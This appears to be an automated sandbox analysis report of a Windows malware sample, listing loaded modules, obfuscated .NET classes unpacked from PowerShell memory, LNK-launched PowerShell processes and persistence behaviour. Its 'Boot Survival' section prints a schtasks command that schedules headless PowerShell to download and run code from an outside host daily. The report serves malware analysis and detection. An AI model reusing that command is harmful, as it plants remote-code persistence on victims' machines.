Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: Adobe.pdb source: powershell.exe, 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fystem.Core.pdb source: powershell.exe, 00000018.00000002.2504827631.000001F3208F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ll\System.pdbv source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbpdblib.pdbidh){ source: powershell.exe, 00000017.00000002.2665844721.000001CCC70CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdbT source: powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbg source: powershell.exe, 0000000B.00000002.2316263361.0000019FD2AC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.pdbpdbtem.pdb: source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE45000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000017.00000002.2665844721.000001CCC70CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdblf source: powershell.exe, 00000017.00000002.2656642044.000001CCC6D9C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Qib.pdb0 source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2504827631.000001F3208F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.Core.pdbC source: powershell.exe, 0000000B.00000002.2352823018.0000019FECAC6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbz source: powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdbbx source: powershell.exe, 00000016.00000002.2664465867.000002335C76D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdbB'2 source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE08000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: orlib.pdbpdblib.pdbx source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2504827631.000001F3208F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb4 source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE45000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2435524082.000001F3069F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb^ source: powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2669887405.000002335C78B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2496306256.000001F3208A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb+H source: powershell.exe, 00000018.00000002.2507406488.000001F32094E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Adobe.pdbx source: powershell.exe, 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdb} source: powershell.exe, 00000016.00000002.2664465867.000002335C76D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbpdblib.pdb source: powershell.exe, 00000016.00000002.2664465867.000002335C76D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: $.pdbr3 source: powershell.exe, 0000000B.00000002.2352823018.0000019FECAED000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	.Net Code: Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777286)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777255)),Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777323))})
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	.Net Code: Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777286)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777255)),Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777323))})
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	.Net Code: Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777286)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777255)),Type.GetTypeFromHandle(YKZstLdMWqcuhh0SHwv.r8gxb8ODvG(16777323))})

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5ED90 push es; iretd	11_2_00007FF848A6F12A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A57918 push ebx; retf	11_2_00007FF848A5796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5194A push ebp; iretd	11_2_00007FF848A5194C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5776A pushad ; iretd	11_2_00007FF848A5785D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5785E push eax; iretd	11_2_00007FF848A5786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5203B push ebp; iretd	11_2_00007FF848A5203C

Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, YKZstLdMWqcuhh0SHwv.cs	High entropy of concatenated method names: 'r8gxb8ODvG', 'gL9xoZHim2', 'WtqRQLDj4GGwE9eHS3L', 'jZdqI4DWYeyueB7Yg0x', 'R0rdEsDOKickIwTArjx', 'mrpBPADUVUJq2n6yjNB', 'mHs9dwD4hwwnbLbXr6o'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, LBYA0evL6b2qx5MRZx.cs	High entropy of concatenated method names: 'ugqPkjKe9', 'mD3GbeT7O', 'guoaMl2UK', 'H9yuVPJvD', 'it098oxaj', 'dF33FYoAW8wjVVsvnMc', 'YD0EkcoBT3amssAdxIC', 'ayAhY1ohdVS4SMvMH2w', 'ahwgBnoNDiuJgk0OF3b', 'bvKtwYoSmeCAXQGqqli'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, WsClient.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'nWKSb5oXEYZxLYo3a7f', 'qXE8PNogVuymfNLCDit', 'FnPmChosZAQoVFrogmS', 'PvRDAwocS1KnnZhtKUq', 'MoveNext', 'MoveNext'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, Sign.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'VwWaW9o9WeoYr7aWDFa', 'pL4lUPoaFbMnNY4esCG', 'vpdADBou2cQQfSXObD7', 'R5UZLgor1vwKAWF6Z6b', 'MoveNext', 'MoveNext'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	High entropy of concatenated method names: 'HGPmyoptGt1t6nR0V2T', 'xb55URpQ0yOmbUhCA6H', 'yOqJqENYBw', 'l46axxpKmlRURjD42MC', 'XQd3Lepx2BkY3b0L2TQ', 'GKU7vFpmh0WKWOOUq6d', 'PoqdA2pvjpKkHbbqBAc', 'ak7HNpp7IVqn80OHvQu', 'HP8cJRpPeUd5vxEkG8v', 'iHGmT2pGP5HJXvkGfSW'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, wngJyl0pkVdxfZA3xe.cs	High entropy of concatenated method names: 'uOjbdP5Ir', 'cZDoLm9Sx', 'ohdhYdZ9H', 'L1MNLj68E', 'hAqAZObAGSVKei7UAaY', 'Y78JTdbB45WSaTPcY9d', 'WFMjcbbSjR5kkN1WA8n', 'yKEvG1bhFrilk1A8tWR', 'vAd11fbN2FP7CSCe3rc', 'QkA5tBbe9bIVZpIt8AA'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, NtJ1F8gX8IygiwNn6CY.cs	High entropy of concatenated method names: 'p3kgCB5Qtj', 'rFTgJGYUd1', 'SuhgdvI69U', 'u9ugj4JVpi', 'MWfgWUFngy', 'UX2jn5hXj06XODXjFXm', 'ufiC51hcCQYv9Ffb1TL', 'yGZHKghCcAGMH9B4GtM', 'xV1fQuhgCFfe9Z5WH1Y', 'cCWXHBhsRk7ifUleXEa'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, xK86rc8IIFQvpTK86E.cs	High entropy of concatenated method names: 'CKblKA6tt', 'uouJCZoI2JZZyOpkkui', 'Bb6WxLo3RNxppScAsCQ', 'zhsDrCoKR8f5Nhliehv', 'N3P2kHox4A1BsjWCaQ2', 'B2TNmGomDID3IUpWeAQ', 'WhOB41oQwALxfGxwcdI', 'gQ3I2Oo6uRPiO9D8MHK'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, mDjY1cgTFE8RrvZDo4g.cs	High entropy of concatenated method names: 'StZlrSNEWbrXKWKi0yW', 'XaR7v9N5y7WAnynoXJm', 'dbxAfSNYKl70hRhCh3n', 'kxexIENTLUvhuRpQCe4', 'l2ngnteNBA', 'PfWgyl0Lne', 'pZfgMgDTbM', 'MU6giItff2', 'fYtgFXM55u', 'THwgVllmhn'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, dTZB8EdvjAeBkimISAg.cs	High entropy of concatenated method names: 'IiyYsTljDO', 'x2EYX1tGXZ', 'MFyYcqUPmF', 'AWqYC1J9Cp', 'NgkYJnvU9d', 'efeYdKGBxc', 'iyrYjc3wp0', 'g3VjUrt0a4', 'KeFYWIQfJD', 'VWBYOIsRS7'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, oNllOt5kgusWceQgKL.cs	High entropy of concatenated method names: 'D3g672bdFkutYQDjZDf', 'nTcpEebjwBXrbNYL2uK', 'j0UjC7bCP1FPGBVEIIH', 'DBV2M1bJjLkOP44tF6g', 'ougAR5bWhYlBfWkHW6N', 'K3KvKVbOVG8Ha0xvu3r'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, uQLX66g1Rw65j2XYif6.cs	High entropy of concatenated method names: 'rh1sJRe9WW', 'iZ7sdBrVNB', 'N9RsjMvWVw', 'AQEsWK87cg', 'IsssO3GOw4', 'yUrsUd9roa', 'aIEZnJBcZr5dpcUcXrN', 'OQVcWtBCcwf6UT513wT', 'ejCxRQBJDfhkFGt8aEN', 'RbIY1HBdkolS0dliMy2'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, YKZstLdMWqcuhh0SHwv.cs	High entropy of concatenated method names: 'r8gxb8ODvG', 'gL9xoZHim2', 'WtqRQLDj4GGwE9eHS3L', 'jZdqI4DWYeyueB7Yg0x', 'R0rdEsDOKickIwTArjx', 'mrpBPADUVUJq2n6yjNB', 'mHs9dwD4hwwnbLbXr6o'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, LBYA0evL6b2qx5MRZx.cs	High entropy of concatenated method names: 'ugqPkjKe9', 'mD3GbeT7O', 'guoaMl2UK', 'H9yuVPJvD', 'it098oxaj', 'dF33FYoAW8wjVVsvnMc', 'YD0EkcoBT3amssAdxIC', 'ayAhY1ohdVS4SMvMH2w', 'ahwgBnoNDiuJgk0OF3b', 'bvKtwYoSmeCAXQGqqli'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, WsClient.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'nWKSb5oXEYZxLYo3a7f', 'qXE8PNogVuymfNLCDit', 'FnPmChosZAQoVFrogmS', 'PvRDAwocS1KnnZhtKUq', 'MoveNext', 'MoveNext'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, Sign.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'VwWaW9o9WeoYr7aWDFa', 'pL4lUPoaFbMnNY4esCG', 'vpdADBou2cQQfSXObD7', 'R5UZLgor1vwKAWF6Z6b', 'MoveNext', 'MoveNext'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	High entropy of concatenated method names: 'HGPmyoptGt1t6nR0V2T', 'xb55URpQ0yOmbUhCA6H', 'yOqJqENYBw', 'l46axxpKmlRURjD42MC', 'XQd3Lepx2BkY3b0L2TQ', 'GKU7vFpmh0WKWOOUq6d', 'PoqdA2pvjpKkHbbqBAc', 'ak7HNpp7IVqn80OHvQu', 'HP8cJRpPeUd5vxEkG8v', 'iHGmT2pGP5HJXvkGfSW'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, wngJyl0pkVdxfZA3xe.cs	High entropy of concatenated method names: 'uOjbdP5Ir', 'cZDoLm9Sx', 'ohdhYdZ9H', 'L1MNLj68E', 'hAqAZObAGSVKei7UAaY', 'Y78JTdbB45WSaTPcY9d', 'WFMjcbbSjR5kkN1WA8n', 'yKEvG1bhFrilk1A8tWR', 'vAd11fbN2FP7CSCe3rc', 'QkA5tBbe9bIVZpIt8AA'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, NtJ1F8gX8IygiwNn6CY.cs	High entropy of concatenated method names: 'p3kgCB5Qtj', 'rFTgJGYUd1', 'SuhgdvI69U', 'u9ugj4JVpi', 'MWfgWUFngy', 'UX2jn5hXj06XODXjFXm', 'ufiC51hcCQYv9Ffb1TL', 'yGZHKghCcAGMH9B4GtM', 'xV1fQuhgCFfe9Z5WH1Y', 'cCWXHBhsRk7ifUleXEa'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, xK86rc8IIFQvpTK86E.cs	High entropy of concatenated method names: 'CKblKA6tt', 'uouJCZoI2JZZyOpkkui', 'Bb6WxLo3RNxppScAsCQ', 'zhsDrCoKR8f5Nhliehv', 'N3P2kHox4A1BsjWCaQ2', 'B2TNmGomDID3IUpWeAQ', 'WhOB41oQwALxfGxwcdI', 'gQ3I2Oo6uRPiO9D8MHK'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, mDjY1cgTFE8RrvZDo4g.cs	High entropy of concatenated method names: 'StZlrSNEWbrXKWKi0yW', 'XaR7v9N5y7WAnynoXJm', 'dbxAfSNYKl70hRhCh3n', 'kxexIENTLUvhuRpQCe4', 'l2ngnteNBA', 'PfWgyl0Lne', 'pZfgMgDTbM', 'MU6giItff2', 'fYtgFXM55u', 'THwgVllmhn'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, dTZB8EdvjAeBkimISAg.cs	High entropy of concatenated method names: 'IiyYsTljDO', 'x2EYX1tGXZ', 'MFyYcqUPmF', 'AWqYC1J9Cp', 'NgkYJnvU9d', 'efeYdKGBxc', 'iyrYjc3wp0', 'g3VjUrt0a4', 'KeFYWIQfJD', 'VWBYOIsRS7'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, oNllOt5kgusWceQgKL.cs	High entropy of concatenated method names: 'D3g672bdFkutYQDjZDf', 'nTcpEebjwBXrbNYL2uK', 'j0UjC7bCP1FPGBVEIIH', 'DBV2M1bJjLkOP44tF6g', 'ougAR5bWhYlBfWkHW6N', 'K3KvKVbOVG8Ha0xvu3r'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, uQLX66g1Rw65j2XYif6.cs	High entropy of concatenated method names: 'rh1sJRe9WW', 'iZ7sdBrVNB', 'N9RsjMvWVw', 'AQEsWK87cg', 'IsssO3GOw4', 'yUrsUd9roa', 'aIEZnJBcZr5dpcUcXrN', 'OQVcWtBCcwf6UT513wT', 'ejCxRQBJDfhkFGt8aEN', 'RbIY1HBdkolS0dliMy2'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, YKZstLdMWqcuhh0SHwv.cs	High entropy of concatenated method names: 'r8gxb8ODvG', 'gL9xoZHim2', 'WtqRQLDj4GGwE9eHS3L', 'jZdqI4DWYeyueB7Yg0x', 'R0rdEsDOKickIwTArjx', 'mrpBPADUVUJq2n6yjNB', 'mHs9dwD4hwwnbLbXr6o'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, LBYA0evL6b2qx5MRZx.cs	High entropy of concatenated method names: 'ugqPkjKe9', 'mD3GbeT7O', 'guoaMl2UK', 'H9yuVPJvD', 'it098oxaj', 'dF33FYoAW8wjVVsvnMc', 'YD0EkcoBT3amssAdxIC', 'ayAhY1ohdVS4SMvMH2w', 'ahwgBnoNDiuJgk0OF3b', 'bvKtwYoSmeCAXQGqqli'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, WsClient.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'nWKSb5oXEYZxLYo3a7f', 'qXE8PNogVuymfNLCDit', 'FnPmChosZAQoVFrogmS', 'PvRDAwocS1KnnZhtKUq', 'MoveNext', 'MoveNext'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, Sign.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'VwWaW9o9WeoYr7aWDFa', 'pL4lUPoaFbMnNY4esCG', 'vpdADBou2cQQfSXObD7', 'R5UZLgor1vwKAWF6Z6b', 'MoveNext', 'MoveNext'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	High entropy of concatenated method names: 'HGPmyoptGt1t6nR0V2T', 'xb55URpQ0yOmbUhCA6H', 'yOqJqENYBw', 'l46axxpKmlRURjD42MC', 'XQd3Lepx2BkY3b0L2TQ', 'GKU7vFpmh0WKWOOUq6d', 'PoqdA2pvjpKkHbbqBAc', 'ak7HNpp7IVqn80OHvQu', 'HP8cJRpPeUd5vxEkG8v', 'iHGmT2pGP5HJXvkGfSW'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, wngJyl0pkVdxfZA3xe.cs	High entropy of concatenated method names: 'uOjbdP5Ir', 'cZDoLm9Sx', 'ohdhYdZ9H', 'L1MNLj68E', 'hAqAZObAGSVKei7UAaY', 'Y78JTdbB45WSaTPcY9d', 'WFMjcbbSjR5kkN1WA8n', 'yKEvG1bhFrilk1A8tWR', 'vAd11fbN2FP7CSCe3rc', 'QkA5tBbe9bIVZpIt8AA'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, NtJ1F8gX8IygiwNn6CY.cs	High entropy of concatenated method names: 'p3kgCB5Qtj', 'rFTgJGYUd1', 'SuhgdvI69U', 'u9ugj4JVpi', 'MWfgWUFngy', 'UX2jn5hXj06XODXjFXm', 'ufiC51hcCQYv9Ffb1TL', 'yGZHKghCcAGMH9B4GtM', 'xV1fQuhgCFfe9Z5WH1Y', 'cCWXHBhsRk7ifUleXEa'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, xK86rc8IIFQvpTK86E.cs	High entropy of concatenated method names: 'CKblKA6tt', 'uouJCZoI2JZZyOpkkui', 'Bb6WxLo3RNxppScAsCQ', 'zhsDrCoKR8f5Nhliehv', 'N3P2kHox4A1BsjWCaQ2', 'B2TNmGomDID3IUpWeAQ', 'WhOB41oQwALxfGxwcdI', 'gQ3I2Oo6uRPiO9D8MHK'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, mDjY1cgTFE8RrvZDo4g.cs	High entropy of concatenated method names: 'StZlrSNEWbrXKWKi0yW', 'XaR7v9N5y7WAnynoXJm', 'dbxAfSNYKl70hRhCh3n', 'kxexIENTLUvhuRpQCe4', 'l2ngnteNBA', 'PfWgyl0Lne', 'pZfgMgDTbM', 'MU6giItff2', 'fYtgFXM55u', 'THwgVllmhn'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, dTZB8EdvjAeBkimISAg.cs	High entropy of concatenated method names: 'IiyYsTljDO', 'x2EYX1tGXZ', 'MFyYcqUPmF', 'AWqYC1J9Cp', 'NgkYJnvU9d', 'efeYdKGBxc', 'iyrYjc3wp0', 'g3VjUrt0a4', 'KeFYWIQfJD', 'VWBYOIsRS7'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, oNllOt5kgusWceQgKL.cs	High entropy of concatenated method names: 'D3g672bdFkutYQDjZDf', 'nTcpEebjwBXrbNYL2uK', 'j0UjC7bCP1FPGBVEIIH', 'DBV2M1bJjLkOP44tF6g', 'ougAR5bWhYlBfWkHW6N', 'K3KvKVbOVG8Ha0xvu3r'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, uQLX66g1Rw65j2XYif6.cs	High entropy of concatenated method names: 'rh1sJRe9WW', 'iZ7sdBrVNB', 'N9RsjMvWVw', 'AQEsWK87cg', 'IsssO3GOw4', 'yUrsUd9roa', 'aIEZnJBcZr5dpcUcXrN', 'OQVcWtBCcwf6UT513wT', 'ejCxRQBJDfhkFGt8aEN', 'RbIY1HBdkolS0dliMy2'

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 103
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 103			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
